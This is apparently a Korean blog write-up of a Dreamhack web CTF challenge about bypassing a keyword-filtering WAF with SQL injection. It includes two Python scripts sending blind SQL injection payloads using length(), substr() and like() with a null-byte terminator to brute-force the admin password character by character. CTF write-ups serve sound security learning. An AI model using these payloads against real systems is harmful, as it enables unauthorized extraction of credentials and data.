모의해킹/Dreamhack

sql injectuon bypass WAF [WEB LEVEL1]

철민1234 2023. 4. 17. 16:31
728x90

문제 정보

 

문제 정보

guest을 입력했을 때, guest가 출력이 된다.

문제 정보

admin을 입력했을 때는 WAF에 때문에 막혀있다.

 

 

소스 코드

소스 코드를 보니 keywords에 적혀있는 문자는 WAF에 걸리는 거 같다.

 

 

문제 풀이

admin에 대한 upw의 패스워드의 길이를 구하기 위해 '||length(upw) like(44);%00 구문을 사용했다.

import requests

url = '해당 URL'

num = 0
while True:
    num += 1
    param = {"uid":"'||length(upw)like("+str(num)+");%00"}
    req = requests.get(url,params=param)
    if "admin" in req.text:
        print(num)
        break

 

import requests
from string import ascii_letters, digits

a = ascii_letters + digits

url = "http://host3.dreamhack.games:16434/"
num = 0
ch =''
while True:
    num += 1
    for i in a:
        param = {"uid":"'||substr(upw,"+str(num)+",1)like('"+str(i)+"');%00"}
        req = requests.get(url,params=param)
        if "admin" in req.text:
            ch += i
            print(ch)
            break

 

쿼리 구문을 알았기에 flag값이 들어있는 admin의 upw값을 확인할 수 있다.